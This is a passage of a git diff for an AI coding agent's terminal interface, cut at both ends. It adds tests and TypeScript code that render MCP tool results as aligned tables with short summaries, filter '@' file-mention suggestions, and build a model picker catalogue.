"mcp__linear__get_project", content: RECORD }), + expanded: true, + }) + + const frame = await settle(h) + expect(frame).toContain("Status") + expect(frame).toContain("In Progress") + expect(frame).toContain("Target Date") + expect(frame).toContain("2026-01-31") + expect(frame).not.toContain("abc123") + expect(columnOf(frame, "Status")).toBe(columnOf(frame, "Target Date")) + expect(columnOf(frame, "In Progress")).toBe(columnOf(frame, "2026-01-31")) + }, WIDE) + }) +}) + +const SCHEMA = JSON.stringify( + { + type: "object", + properties: { limit: { type: "number", description: "Max results" } }, + }, + null, + 2, +) + .split("\n") + .map((line) => ` ${line}`) + .join("\n") + +const CATALOGUE = [ + "These tools are available — you can call them now:", + "", + ...["mcp__linear__list_issues", "mcp__linear__get_issue", "mcp__railway__deploy"].flatMap( + (name) => [`- ${name}: does a thing`, " input schema:", SCHEMA, ""], + ), +].join("\n") + +/** Plain text of whatever a row hides behind the expand key. */ +function detailText(row: StreamRow): string { + return (row.detail ?? []) + .map((line) => line.map((segment) => segment.text).join("").trim()) + .join("\n") + .trim() +} + +describe("collapsed tool results", () => { + test("a tool catalogue collapses to a count and never paints a schema", async () => { + const row = toolResultRow({ name: "tool_search", content: CATALOGUE }) + expect(row.summary).toBe("Found 3 tools across 2 servers") + expect(isCollapsibleRow(row)).toBe(true) + + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow(shell, row) + + const frame = await settle(h) + expect(frame).toContain("Found 3 tools across 2 servers") + expect(frame).not.toContain("input schema") + expect(frame).not.toContain("properties") + }, WIDE) + }) + + test("an MCP list collapses to the count and the noun, not the query", () => { + const row = toolResultRow({ name: "mcp__linear__list_projects", content: LIST }) + expect(row.summary).toBe("Grabbed 2 Linear projects") + expect(isCollapsibleRow(row)).toBe(true) + expect(row.structured).toBeDefined() + }) + + test("a single record collapses to the thing, named", () => { + const row = toolResultRow({ name: "mcp__linear__get_project", content: RECORD }) + expect(row.summary).toBe("Read Linear project Alpha") + }) + + test("an error result is neither summarised nor collapsed", () => { + const row = toolResultRow({ + name: "mcp__linear__list_projects", + content: "workspace unreachable", + isError: true, + }) + expect(row.summary).toBeUndefined() + expect(row.failed).toBe(true) + expect(isCollapsibleRow(row)).toBe(false) + expect(row.text).toBe("workspace unreachable") + }) + + test("a short result stays literal rather than earning a sentence about itself", () => { + const row = toolResultRow({ name: "read_file", content: "30 lines" }) + expect(row.summary).toBeUndefined() + expect(isCollapsibleRow(row)).toBe(false) + }) + + test("an expansion never restates its own summary", () => { + const rows = [ + toolResultRow({ name: "tool_search", content: CATALOGUE }), + toolResultRow({ + name: "run_shell", + content: ["one", "two", "three", "four", "five"].join("\n"), + }), + toolCallRow({ + name: "tool_search", + arguments: JSON.stringify({ query: "Linear issues" }), + }), + toolCallRow({ + name: "mcp__linear__list_issues", + arguments: JSON.stringify({ assignee: "me", limit: 30 }), + }), + ] + for (const row of rows) { + if (row.detail === undefined) continue + expect(detailText(row)).not.toBe((row.summary ?? "").trim()) + } + }) + + test("a trivial call carries no expand affordance", async () => { + const row = toolCallRow({ + name: "tool_search", + arguments: JSON.stringify({ query: "Linear issues" }), + }) + expect(row.detail).toBeUndefined() + expect(isCollapsibleRow(row)).toBe(false) + + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow(shell, row) + + const frame = await settle(h) + expect(frame).toContain("Linear issues") + expect(frame).not.toContain("▸") + expect(frame).not.toContain("▾") + }, WIDE) + }) + + test("an MCP call's arguments live behind the expand key, not in its header", () => { + const row = toolCallRow({ + name: "mcp__linear__list_issues", + arguments: JSON.stringify({ assignee: "me", limit: 30, orderBy: "updatedAt" }), + }) + expect(row.verb).toBe("Linear: List Issues") + expect(row.summary).toBe("") + expect(detailText(row)).toContain("limit: 30") + expect(isCollapsibleRow(row)).toBe(true) + }) +}) diff --git a/src/tui-opentui/mcp-view.ts b/src/tui-opentui/mcp-view.ts new file mode 100644 index 000000000..a9afa465e --- /dev/null +++ b/src/tui-opentui/mcp-view.ts @@ -0,0 +1,522 @@ +/** + * Structured rendering of MCP tool results for the OpenTUI transcript. + * + * MCP servers answer with raw JSON — record lists (list_projects) or single + * records (get_issue). Painted verbatim they are an unreadable dump, so we + * derive a cell grid: a header + one row per record for lists, label/value + * pairs for a single record, with status/priority tone and date truncation. + * + * The grid is carried on the row and painted by `TextTableRenderable`, whose + * native column measurement does the alignment. We do not reimplement layout. + * + * This module also owns what a tool result *says* when collapsed — one sentence + * derived from the shape of the payload ("Grabbed 10 Linear issues") rather + * than from the arguments that asked for it, since nobody reads a transcript + * for the pagination cursor. + */ + +import { fg as fgChunk, bold as boldChunk, type TextChunk } from "@opentui/core" + +import { sliceToWidth, stringWidth } from "../tui/view/height.js" +import { humanizeMcpTool, isMcpToolName, mcpToolWords, parseMcpToolName } from "../mcp/tool-name.js" +import { UI } from "./theme.js" +import { + extractMcpRecord, + extractMcpRecords, + recordScalar, + type McpRecords, +} from "../tui/mcp-result-format.js" +import { summarizeToolResult } from "../tui/tool-formatter.js" +import type { StreamRow, StyledBodyLine } from "./stream.js" + +export type McpTone = + | "plain" + | "muted" + | "accent" + | "success" + | "warning" + | "danger" + +export type McpCell = { + readonly text: string + readonly tone?: McpTone + readonly bold?: boolean +} + +/** Row-major cell grid; every row is one table row, cells are columns. */ +export type McpStructuredView = { + readonly cells: readonly (readonly McpCell[])[] +} + +// Warning and danger both land on the action orange: a structured result has no +// decision marker competing with it, and there is no red in the brand system. +const TONE_FG: Record = { + plain: UI.text, + muted: UI.textDim, + accent: UI.inFlightBright, + success: UI.done, + warning: UI.actionDim, + danger: UI.action, +} + +const NAME_FIELDS = ["name", "title", "identifier", "label", "key", "summary"] +const STATUS_FIELDS = ["status", "state"] +const PRIORITY_FIELDS = ["priority"] +const TEAM_FIELDS = ["team"] +const TARGET_FIELDS = ["targetDate", "target", "dueDate"] + +const DETAIL_ORDER = [ + "status", + "state", + "priority", + "team", + "lead", + "assignee", + "startDate", + "targetDate", + "dueDate", + "url", + "description", + "summary", +] +const DETAIL_HIDE = new Set([ + "id", + "createdAt", + "updatedAt", + "archivedAt", + "completedAt", + "canceledAt", + "icon", + "color", + "slug", +]) +const TITLE_FIELDS = ["name", "title", "identifier", "label", "key"] +const DATE_KEYS = new Set(["startDate", "targetDate", "dueDate"]) +const DATE_WIDTH = 10 +const MAX_ROWS = 30 + +function firstScalar( + record: Record, + fields: readonly string[], +): string | undefined { + for (const field of fields) { + const value = recordScalar(record, field) + if (value !== null && value.length > 0) return value + } + return undefined +} + +function humanizeField(key: string): string { + return key + .replace(/([a-z])([A-Z])/g, "$1 $2") + .replace(/_/g, " ") + .replace(/^./, (c) => c.toUpperCase()) +} + +function statusTone(value: string): McpTone { + const v = value.toLowerCase() + if (/(done|complete|merged|closed|active)/.test(v)) return "success" + if (/(progress|started|review)/.test(v)) return "accent" + if (/(cancel|block|fail|reject)/.test(v)) return "danger" + return "muted" +} + +function priorityTone(value: string): McpTone { + const v = value.toLowerCase() + if (v === "urgent") return "danger" + if (v === "high") return "warning" + if (v === "medium") return "accent" + return "muted" +} + +type ColumnDef = { + readonly header: string + readonly get: (record: Record, index: number) => string + readonly tone?: (value: string) => McpTone +} + +/** Record list → header row plus one row per record. */ +export function mcpRecordsToView(records: McpRecords): McpStructuredView { + const has = (fields: readonly string[]): boolean => + records.items.some((record) => firstScalar(record, fields) !== undefined) + + const columns: ColumnDef[] = [ + { header: "#", get: (_record, index) => String(index + 1) }, + { header: "Name", get: (record) => firstScalar(record, NAME_FIELDS) ?? "" }, + ] + if (has(STATUS_FIELDS)) { + columns.push({ + header: "Status", + get: (record) => firstScalar(record, STATUS_FIELDS) ?? "", + tone: statusTone, + }) + } + if (has(PRIORITY_FIELDS)) { + columns.push({ + header: "Priority", + get: (record) => firstScalar(record, PRIORITY_FIELDS) ?? "", + tone: priorityTone, + }) + } + if (has(TEAM_FIELDS)) { + columns.push({ + header: "Team", + get: (record) => firstScalar(record, TEAM_FIELDS) ?? "", + }) + } + if (has(TARGET_FIELDS)) { + columns.push({ + header: "Target", + get: (record) => + (firstScalar(record, TARGET_FIELDS) ?? "").slice(0, DATE_WIDTH), + }) + } + + const header = columns.map( + (column): McpCell => ({ text: column.header, tone: "muted", bold: true }), + ) + const shown = records.items.slice(0, MAX_ROWS) + const rows = shown.map((record, index) => + columns.map((column): McpCell => { + const text = column.get(record, index) + const tone = column.tone?.(text) + return tone !== undefined ? { text, tone } : { text } + }), + ) + const overflow = + records.items.length > shown.length + ? [ + [ + { + text: `+${records.items.length - shown.length} more`, + tone: "muted" as const, + }, + ], + ] + : [] + + return { cells: [header, ...rows, ...overflow] } +} + +/** Single record → title row plus one label/value row per field. */ +export function mcpRecordToView( + record: Record, +): McpStructuredView { + const titleKey = TITLE_FIELDS.find( + (field) => (recordScalar(record, field) ?? "").length > 0, + ) + const title = + titleKey !== undefined ? (recordScalar(record, titleKey) ?? "") : "" + + const present = Object.keys(record).filter( + (key) => + key !== titleKey && + !DETAIL_HIDE.has(key) && + (recordScalar(record, key) ?? "").length > 0, + ) + const ordered = [ + ...DETAIL_ORDER.filter((key) => present.includes(key)), + ...present.filter((key) => !DETAIL_ORDER.includes(key)), + ] + + const cells: McpCell[][] = [] + if (title.length > 0) { + cells.push([{ text: title, tone: "accent", bold: true }, { text: "" }]) + } + for (const key of ordered.slice(0, MAX_ROWS)) { + const raw = recordScalar(record, key) ?? "" + const value = DATE_KEYS.has(key) ? raw.slice(0, DATE_WIDTH) : raw + const tone = + key === "status" || key === "state" + ? statusTone(value) + : key === "priority" + ? priorityTone(value) + : undefined + cells.push([ + { text: humanizeField(key), tone: "muted" }, + tone !== undefined ? { text: value, tone } : { text: value }, + ]) + } + + return { cells } +} + +/** + * Structured view for an MCP tool result body, or null when the tool is not an + * MCP tool or the payload is not record-shaped (plain text, scalars, errors). + */ +export function mcpStructuredView( + toolName: string, + content: string, +): McpStructuredView | null { + if (!isMcpToolName(toolName)) return null + const records = extractMcpRecords(content) + if (records !== null) return mcpRecordsToView(records) + const record = extractMcpRecord(content) + if (record !== null) { + const view = mcpRecordToView(record) + return view.cells.length > 0 ? view : null + } + return null +} + +export type ToolResultRowInput = { + readonly name: string + readonly content: string + readonly isError?: boolean +} + +/** Bodies at or under this many lines read faster than a sentence about them. */ +const COLLAPSE_MIN_LINES = 4 + +/** A collapsed body is still a transcript row, not a pager. */ +const MAX_DETAIL_LINES = 60 + +/** Longest a listed name/description may run before it is cut. */ +const DETAIL_TEXT_MAX = 72 + +/** The tool a capability search arrives through; its result is a catalogue. */ +const TOOL_SEARCH_TOOL = "tool_search" + +function titleCase(word: string): string { + return word.length === 0 ? word : `${word[0]!.toUpperCase()}${word.slice(1)}` +} + +function singular(noun: string): string { + return noun.endsWith("s") ? noun.slice(0, -1) : noun +} + +function plural(noun: string): string { + return noun.endsWith("s") ? noun : `${noun}s` +} + +function countNoun(count: number, noun: string): string { + return `${count} ${count === 1 ? singular(noun) : plural(noun)}` +} + +const MCP_TOOL_VERB_PREFIXES = [ + "list_", + "get_", + "search_", + "find_", + "read_", + "fetch_", + "query_", + "save_", + "create_", + "update_", + "delete_", +] + +/** + * The thing an MCP tool is about, read off its name: `list_issues` -> "issues", + * `get_project` -> "project". Only used to name a count the payload could not + * name itself, so a tool whose name carries no noun yields nothing. + */ +function nounFromToolName(server: string, tool: string): string | undefined { + const prefix = MCP_TOOL_VERB_PREFIXES.find((candidate) => + tool.startsWith(candidate), + ) + const stripped = prefix === undefined ? tool : tool.slice(prefix.length) + const rest = mcpToolWords(server, stripped).join(" ") + return rest.length > 0 ? rest : undefined +} + +function cut(text: string): string { + const oneLine = text.replace(/\s+/g, " ").trim() + return stringWidth(oneLine) <= DETAIL_TEXT_MAX + ? oneLine + : `${sliceToWidth(oneLine, DETAIL_TEXT_MAX - 1)}…` +} + +function plainLine(text: string, fg: string = UI.text): StyledBodyLine { + return [{ text, fg }] +} + +/** Bounded literal rendering of a tool payload, for a row's expanded body. */ +export function resultBodyLines(content: string): readonly StyledBodyLine[] { + return bodyLines(content) +} + +function bodyLines(content: string): readonly StyledBodyLine[] { + const lines = content.split("\n") + const shown = lines.slice(0, MAX_DETAIL_LINES).map((line) => plainLine(line)) + return lines.length > MAX_DETAIL_LINES + ? [ + ...shown, + plainLine(`… ${lines.length - MAX_DETAIL_LINES} more lines`, UI.textDim), + ] + : shown +} + +function detailPlainText(detail: readonly StyledBodyLine[]): string { + return detail + .map((line) => line.map((segment) => segment.text).join("").trim()) + .join("\n") + .trim() +} + +/** + * A body worth an expand affordance: one that says something the summary does + * not. An expansion that restates its own summary is worse than no expansion, + * so it is dropped here rather than painted with an arrow behind it. + */ +function revealing( + summary: string, + detail: readonly StyledBodyLine[], +): readonly StyledBodyLine[] | undefined { + if (detail.length === 0) return undefined + return detailPlainText(detail) === summary.trim() ? undefined : detail +} + +type ResultSummary = { + readonly summary: string + readonly detail?: readonly StyledBodyLine[] +} + +/** One catalogue entry: the tool's name and what it is for — never its schema. */ +const TOOL_CARD = /^- ([^\s:]+):?\s*(.*)$/ + +/** + * A capability search answers with one card per tool, each carrying a full JSON + * input schema. The schema is for the model, never for the transcript, so the + * row counts the catalogue and the expansion lists names only. + */ +function toolCatalogueSummary(content: string): ResultSummary | null { + const cards = content + .split("\n") + .map((line) => TOOL_CARD.exec(line)) + .filter((match): match is RegExpExecArray => match !== null) + if (cards.length === 0) return null + + const servers = new Set( + cards + .map((card) => parseMcpToolName(card[1] ?? "")?.server) + .filter((server): server is string => server !== undefined), + ) + const summary = + servers.size > 0 + ? `Found ${countNoun(cards.length, "tool")} across ${countNoun(servers.size, "server")}` + : `Found ${countNoun(cards.length, "tool")}` + const detail = cards.slice(0, MAX_DETAIL_LINES).map((card): StyledBodyLine => { + const rawName = card[1] ?? "" + const name = isMcpToolName(rawName) ? humanizeMcpTool(rawName) : rawName + // The catalogue text sometimes leads its description with the same + // "[server]" tag the humanised name already carries as its prefix; drop it + // so the server is not said twice. + const description = cut((card[2] ?? "").replace(/^\[[^\]]+\]\s*/, "")) + return description.length > 0 + ? [ + { text: name, fg: UI.inFlightBright }, + { text: ` ${description}`, fg: UI.textDim }, + ] + : [{ text: name, fg: UI.inFlightBright }] + }) + return { summary, detail } +} + +/** `Grabbed 10 Linear issues` — the count and the noun, not the query. */ +function recordsSummary(toolName: string, records: McpRecords): string { + const parsed = parseMcpToolName(toolName) + const noun = + records.label !== "items" + ? records.label + : (parsed !== null ? nounFromToolName(parsed.server, parsed.tool) : undefined) ?? "items" + const owner = parsed === null ? "" : `${titleCase(parsed.server)} ` + return `Grabbed ${records.items.length} ${owner}${records.items.length === 1 ? singular(noun) : plural(noun)}` +} + +/** `Read Linear project Alpha` — the thing, named. */ +function recordSummary( + toolName: string, + record: Record, +): string { + const parsed = parseMcpToolName(toolName) + const noun = + parsed !== null ? singular(nounFromToolName(parsed.server, parsed.tool) ?? "record") : "record" + const owner = parsed === null ? "" : `${titleCase(parsed.server)} ` + const title = firstScalar(record, TITLE_FIELDS) + return `Read ${owner}${noun}${title === undefined ? "" : ` ${cut(title)}`}` +} + +/** + * The one-sentence summary a tool result collapses to, derived from the shape + * of what came back rather than from the call that asked for it. Null means the + * body is short enough (or literal enough) to read as itself. + */ +function resultSummary(input: ToolResultRowInput): ResultSummary | null { + const content = input.content + if (input.name === TOOL_SEARCH_TOOL) { + const catalogue = toolCatalogueSummary(content) + if (catalogue !== null) return catalogue + } + if (isMcpToolName(input.name)) { + const records = extractMcpRecords(content) + if (records !== null) return { summary: recordsSummary(input.name, records) } + const record = extractMcpRecord(content) + if (record !== null) return { summary: recordSummary(input.name, record) } + } + if (content.split("\n").length <= COLLAPSE_MIN_LINES) return null + const { preview } = summarizeToolResult(input.name, content) + if (preview.trim().length === 0) return null + return { summary: preview, detail: bodyLines(content) } +} + +/** The tool a skill load arrives through; its result body is the whole skill. */ +const USE_SKILL_TOOL = "use_skill" + +/** + * Name of the skill a `use_skill` result loaded, read off the body the tool + * returns. Display-only: a body that does not announce a skill (an error, a + * future wording) simply does not collapse. + */ +function loadedSkillName(name: string, content: string): string | undefined { + if (name !== USE_SKILL_TOOL) return undefined + return /^Skill "([^"]+)"/.exec(content)?.[1] +} + +/** + * Build the transcript row for a tool result: one sentence about what came + * back, with the body — an aligned MCP table, a catalogue, raw output — behind + * the expand key. Errors are neither summarised nor collapsed: a failure is + * exactly the thing nobody should have to press a key to read. + */ +export function toolResultRow(input: ToolResultRowInput): StreamRow { + const failed = input.isError === true + const base = { + role: "tool" as const, + text: input.content, + meta: input.name, + } + if (failed) return { ...base, failed: true } + + const skill = loadedSkillName(input.name, input.content) + if (skill !== undefined) return { ...base, skill } + + const summarised = resultSummary(input) + if (summarised === null) return base + + const structured = mcpStructuredView(input.name, input.content) + const detail = + summarised.detail === undefined + ? undefined + : revealing(summarised.summary, summarised.detail) + return { + ...base, + summary: summarised.summary, + ...(structured !== null ? { structured } : {}), + ...(detail !== undefined ? { detail } : {}), + } +} + +/** Map a cell grid to `TextTableRenderable` content chunks. */ +export function viewToTableContent( + view: McpStructuredView, +): (TextChunk[] | null)[][] { + return view.cells.map((row) => + row.map((cell) => { + const colored = fgChunk(TONE_FG[cell.tone ?? "plain"])(cell.text) + return [cell.bold === true ? boldChunk(colored) : colored] + }), + ) +} diff --git a/src/tui-opentui/mention-filter.test.ts b/src/tui-opentui/mention-filter.test.ts new file mode 100644 index 000000000..ee303f336 --- /dev/null +++ b/src/tui-opentui/mention-filter.test.ts @@ -0,0 +1,55 @@ +import { describe, expect, test } from "bun:test" + +import { + filterMentionSuggestions, + splitMentionToken, +} from "./mention-filter" + +describe("splitMentionToken", () => { + test("bare fragment lists the working directory", () => { + expect(splitMentionToken("ses")).toEqual({ dir: "", fragment: "ses" }) + }) + + test("keeps the directory portion with its trailing slash", () => { + expect(splitMentionToken("src/tui/ses")).toEqual({ + dir: "src/tui/", + fragment: "ses", + }) + }) + + test("a token ending in a slash has no fragment to narrow on", () => { + expect(splitMentionToken("src/")).toEqual({ dir: "src/", fragment: "" }) + }) +}) + +describe("filterMentionSuggestions", () => { + const ENTRIES = ["session.ts", "src/", "parse-session.ts", "README.md"] + + test("empty fragment keeps every suggestion in source order", () => { + expect(filterMentionSuggestions(ENTRIES, "")).toEqual(ENTRIES) + }) + + test("matches anywhere in the entry name, prefix hits first", () => { + expect(filterMentionSuggestions(ENTRIES, "ses")).toEqual([ + "session.ts", + "parse-session.ts", + ]) + }) + + test("is case-insensitive", () => { + expect(filterMentionSuggestions(ENTRIES, "READ")).toEqual(["README.md"]) + expect(filterMentionSuggestions(ENTRIES, "readme")).toEqual(["README.md"]) + }) + + test("matches the entry name, not the directory it sits in", () => { + expect( + filterMentionSuggestions(["session/notes.md", "session/log.md"], "log"), + ).toEqual(["session/log.md"]) + }) + + test("directory entries keep their trailing slash", () => { + expect(filterMentionSuggestions(["src/tui-opentui/"], "opentui")).toEqual([ + "src/tui-opentui/", + ]) + }) +}) diff --git a/src/tui-opentui/mention-filter.ts b/src/tui-opentui/mention-filter.ts new file mode 100644 index 000000000..ffd0bdf8f --- /dev/null +++ b/src/tui-opentui/mention-filter.ts @@ -0,0 +1,52 @@ +/** + * Narrowing for the `@` path popup (pure). + * + * The suggestion source lists one directory at a time, so the token the + * operator has typed is split into the directory to list and the fragment used + * to narrow that listing. Narrowing happens here rather than in the source so + * it can be case-insensitive and match anywhere in the entry name — typing + * `@ses` is a search for `session.ts`, not a claim that the name begins `ses`. + */ + +export type MentionToken = { + /** Directory portion to list, with its trailing slash (empty = cwd). */ + readonly dir: string + /** Text after the last slash — what the listing is narrowed against. */ + readonly fragment: string +} + +export function splitMentionToken(prefix: string): MentionToken { + const lastSlash = prefix.lastIndexOf("/") + if (lastSlash === -1) return { dir: "", fragment: prefix } + return { + dir: prefix.slice(0, lastSlash + 1), + fragment: prefix.slice(lastSlash + 1), + } +} + +function entryName(suggestion: string): string { + const bare = suggestion.endsWith("/") ? suggestion.slice(0, -1) : suggestion + const lastSlash = bare.lastIndexOf("/") + return lastSlash === -1 ? bare : bare.slice(lastSlash + 1) +} + +/** + * Keep suggestions whose entry name contains `fragment`, case-insensitively, + * with earlier matches first so a true prefix still sorts above an interior hit. + */ +export function filterMentionSuggestions( + suggestions: readonly string[], + fragment: string, +): readonly string[] { + const needle = fragment.toLowerCase() + if (needle.length === 0) return [...suggestions] + return suggestions + .map((suggestion, order) => ({ + suggestion, + order, + at: entryName(suggestion).toLowerCase().indexOf(needle), + })) + .filter((hit) => hit.at >= 0) + .sort((a, b) => a.at - b.at || a.order - b.order) + .map((hit) => hit.suggestion) +} diff --git a/src/tui-opentui/mention-popup.test.ts b/src/tui-opentui/mention-popup.test.ts new file mode 100644 index 000000000..3769c0199 --- /dev/null +++ b/src/tui-opentui/mention-popup.test.ts @@ -0,0 +1,194 @@ +/** + * Integration: the `@` path popup narrows as you type, the same contract the + * `/` command popup already honours. + */ +import { describe, expect, test } from "bun:test" + +import type { KeyEvent } from "@opentui/core" + +import { withTestRenderer } from "./harness" +import { + acceptOverlaySelection, + createAppShell, + handleMentionPopupKey, + isMentionPopupOpen, + openAtMentionSuggestions, + setMentionSuggestionSource, + type AppShell, +} from "./shell" + +const TREE: Readonly> = { + "": ["AGENTS.md", "README.md", "session-notes.md", "src/"], + "src/": ["src/session.ts", "src/shell.ts", "src/parse-session.ts"], +} + +function withShell(fn: (shell: AppShell) => Promise): Promise { + return withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + setMentionSuggestionSource(shell, async (prefix) => { + const listing = TREE[prefix] + if (listing !== undefined) return [...listing] + // Fallback query path: the source's own prefix filter. + const dir = prefix.slice(0, prefix.lastIndexOf("/") + 1) + return (TREE[dir] ?? []).filter((e) => e.startsWith(prefix)) + }) + try { + await fn(shell) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) +} + +function printable(seq: string): KeyEvent { + return { + name: seq, + sequence: seq, + ctrl: false, + meta: false, + option: false, + } as unknown as KeyEvent +} + +const BACKSPACE = { + name: "backspace", + sequence: "", + ctrl: false, + meta: false, + option: false, +} as unknown as KeyEvent + +/** Drive one key and let the popup's async re-query settle. */ +async function type(shell: AppShell, key: KeyEvent): Promise { + const handled = handleMentionPopupKey(shell, key) + await Promise.resolve() + await Promise.resolve() + await Promise.resolve() + return handled +} + +async function openAt(shell: AppShell, value: string): Promise { + shell.prompt.value = value + shell.prompt.cursorOffset = value.length + await openAtMentionSuggestions(shell) +} + +describe("@ popup narrows as you type", () => { + test("printable keys filter the list and land in the prompt", async () => { + await withShell(async (shell) => { + await openAt(shell, "read @") + expect(shell.overlayItems.length).toBe(4) + + expect(await type(shell, printable("s"))).toBe(true) + expect(shell.prompt.value).toBe("read @s") + expect(shell.overlayItems).toEqual([ + "session-notes.md", + "src/", + "AGENTS.md", + ]) + + await type(shell, printable("e")) + expect(shell.prompt.value).toBe("read @se") + expect(shell.overlayItems).toEqual(["session-notes.md"]) + }) + }) + + test("backspace widens the list again", async () => { + await withShell(async (shell) => { + await openAt(shell, "read @se") + expect(shell.overlayItems).toEqual(["session-notes.md"]) + + expect(await type(shell, BACKSPACE)).toBe(true) + expect(shell.prompt.value).toBe("read @s") + expect(shell.overlayItems).toEqual([ + "session-notes.md", + "src/", + "AGENTS.md", + ]) + }) + }) + + test("substring match finds an entry the fragment does not start", async () => { + await withShell(async (shell) => { + await openAt(shell, "@") + await type(shell, printable("n")) + expect(shell.overlayItems).toEqual(["AGENTS.md", "session-notes.md"]) + }) + }) + + test("no match closes the popup and leaves the typed text", async () => { + await withShell(async (shell) => { + await openAt(shell, "@") + await type(shell, printable("z")) + expect(shell.prompt.value).toBe("@z") + expect(shell.overlayKind).toBeNull() + expect(isMentionPopupOpen(shell)).toBe(false) + // Mirrors `/`: no empty-state message, not even a status flash. + expect(shell.statusFlash).toBeNull() + }) + }) + + test("deleting the @ ends the popup", async () => { + await withShell(async (shell) => { + await openAt(shell, "@") + await type(shell, BACKSPACE) + expect(shell.prompt.value).toBe("") + expect(shell.overlayKind).toBeNull() + }) + }) + + test("whitespace terminates the token", async () => { + await withShell(async (shell) => { + await openAt(shell, "@") + await type(shell, printable(" ")) + expect(shell.prompt.value).toBe("@ ") + expect(shell.overlayKind).toBeNull() + }) + }) + + test("navigation keys stay with the overlay", async () => { + await withShell(async (shell) => { + await openAt(shell, "@") + const down = { name: "down", ctrl: false, meta: false, option: false } + expect(handleMentionPopupKey(shell, down as unknown as KeyEvent)).toBe(false) + }) + }) + + test("directory drill-in still lists one level down", async () => { + await withShell(async (shell) => { + await openAt(shell, "@") + await type(shell, printable("s")) + await type(shell, printable("r")) + expect(shell.overlayItems).toEqual(["src/"]) + + acceptOverlaySelection(shell) + // The accept splices `src/` and re-opens; let the re-query settle. + await Promise.resolve() + await Promise.resolve() + await Promise.resolve() + expect(shell.prompt.value).toBe("@src/") + expect(shell.overlayKind).toBe("mentions") + expect(shell.overlayItems).toEqual([ + "src/session.ts", + "src/shell.ts", + "src/parse-session.ts", + ]) + + // Filtering keeps working after the drill-in. + await type(shell, printable("s")) + expect(shell.prompt.value).toBe("@src/s") + expect(shell.overlayItems).toEqual([ + "src/session.ts", + "src/shell.ts", + "src/parse-session.ts", + ]) + }) + }) +}) diff --git a/src/tui-opentui/model-catalog.test.ts b/src/tui-opentui/model-catalog.test.ts new file mode 100644 index 000000000..5b54e49de --- /dev/null +++ b/src/tui-opentui/model-catalog.test.ts @@ -0,0 +1,242 @@ +import { describe, expect, test } from "bun:test" +import { + buildModelCatalog, + buildModelsFirstCatalog, + connectRowId, + describeModelCatalogOption, + modelOptionId, + type ModelCatalogProvider, +} from "./model-catalog" + +describe("buildModelCatalog", () => { + test("maps provider array to id/label picker options", () => { + const options = buildModelCatalog([ + { name: "xai", models: ["grok-4", "grok-3"], label: "xAI" }, + { name: "openai", models: ["gpt-4.1"] }, + ]) + expect(options).toEqual([ + { id: "xai:grok-4", label: "xAI / grok-4" }, + { id: "xai:grok-3", label: "xAI / grok-3" }, + { id: "openai:gpt-4.1", label: "openai / gpt-4.1" }, + ]) + }) + + test("maps settings-style providers record", () => { + const options = buildModelCatalog({ + fp: { models: ["fp-small", "fp-large"] }, + zen: { models: ["claude-sonnet-4-5"], label: "Zen" }, + }) + expect(options).toEqual([ + { id: "fp:fp-small", label: "fp / fp-small" }, + { id: "fp:fp-large", label: "fp / fp-large" }, + { id: "zen:claude-sonnet-4-5", label: "Zen / claude-sonnet-4-5" }, + ]) + }) + + test("skips empty models and blank names", () => { + expect( + buildModelCatalog([ + { name: "empty", models: [] }, + { name: "blank", models: [" ", "keep"] }, + ]), + ).toEqual([{ id: "blank:keep", label: "blank / keep" }]) + }) + + test("dedupes by provider:model id", () => { + const options = buildModelCatalog([ + { name: "xai", models: ["grok-4", "grok-4"] }, + ]) + expect(options).toEqual([{ id: "xai:grok-4", label: "xai / grok-4" }]) + }) + + test("empty input yields empty catalog", () => { + expect(buildModelCatalog([])).toEqual([]) + expect(buildModelCatalog({})).toEqual([]) + }) +}) + +describe("modelOptionId", () => { + test("provider:model", () => { + expect(modelOptionId("xai", "grok-4")).toBe("xai:grok-4") + }) +}) + +const xai: ModelCatalogProvider = { + name: "xai", + label: "xAI", + models: ["grok-4", "grok-3"], +} + +const zen: ModelCatalogProvider = { + name: "zen", + label: "OpenCode Zen", + models: ["kimi-k2.7-code", "claude-sonnet-4-5"], + baseURL: "https://opencode.ai/zen/v1", +} + +const go: ModelCatalogProvider = { + name: "opencode-go", + label: "OpenCode Go", + models: ["kimi-k2.7-code", "glm-5"], + opencodeGo: true, +} + +describe("buildModelsFirstCatalog", () => { + test("orders recent, then favorites, then provider buckets", () => { + const list = buildModelsFirstCatalog({ + providers: [xai, zen], + recent: [{ provider: "zen", model: "claude-sonnet-4-5" }], + favorites: [{ provider: "xai", model: "grok-4" }], + }) + + expect(list.map((r) => `${r.section}:${r.id}`)).toEqual([ + "recent:zen:claude-sonnet-4-5", + "favorites:xai:grok-4", + "provider:xai:grok-3", + "provider:zen:kimi-k2.7-code", + ]) + }) + + test("drops recent entries whose model no longer exists on the provider", () => { + const list = buildModelsFirstCatalog({ + providers: [xai], + recent: [ + { provider: "xai", model: "gone-model" }, + { provider: "xai", model: "grok-4" }, + ], + favorites: [], + }) + + expect(list.filter((r) => r.section === "recent").map((r) => r.id)).toEqual([ + "xai:grok-4", + ]) + }) + + test("skips favorites and provider rows already covered by recent", () => { + const list = buildModelsFirstCatalog({ + providers: [xai], + recent: [{ provider: "xai", model: "grok-4" }], + favorites: [{ provider: "xai", model: "grok-4" }], + }) + + expect(list.filter((r) => r.id === "xai:grok-4")).toHaveLength(1) + expect(list[0]?.section).toBe("recent") + }) + + test("caps recent at recentMax (default 5)", () => { + const many = Array.from({ length: 8 }, (_, i) => ({ + provider: "xai", + model: `m${i}`, + })) + const provider: ModelCatalogProvider = { + name: "xai", + models: many.map((r) => r.model), + } + const list = buildModelsFirstCatalog({ + providers: [provider], + recent: many, + favorites: [], + }) + + expect(list.filter((r) => r.section === "recent")).toHaveLength(5) + }) + + test("respects a custom recentMax", () => { + const many = Array.from({ length: 4 }, (_, i) => ({ + provider: "xai", + model: `m${i}`, + })) + const provider: ModelCatalogProvider = { + name: "xai", + models: many.map((r) => r.model), + } + const list = buildModelsFirstCatalog({ + providers: [provider], + recent: many, + favorites: [], + recentMax: 2, + }) + + expect(list.filter((r) => r.section === "recent")).toHaveLength(2) + }) + + test("attaches zen-path billing warning via injected predicate", () => { + const list = buildModelsFirstCatalog({ + providers: [zen, go], + recent: [{ provider: "zen", model: 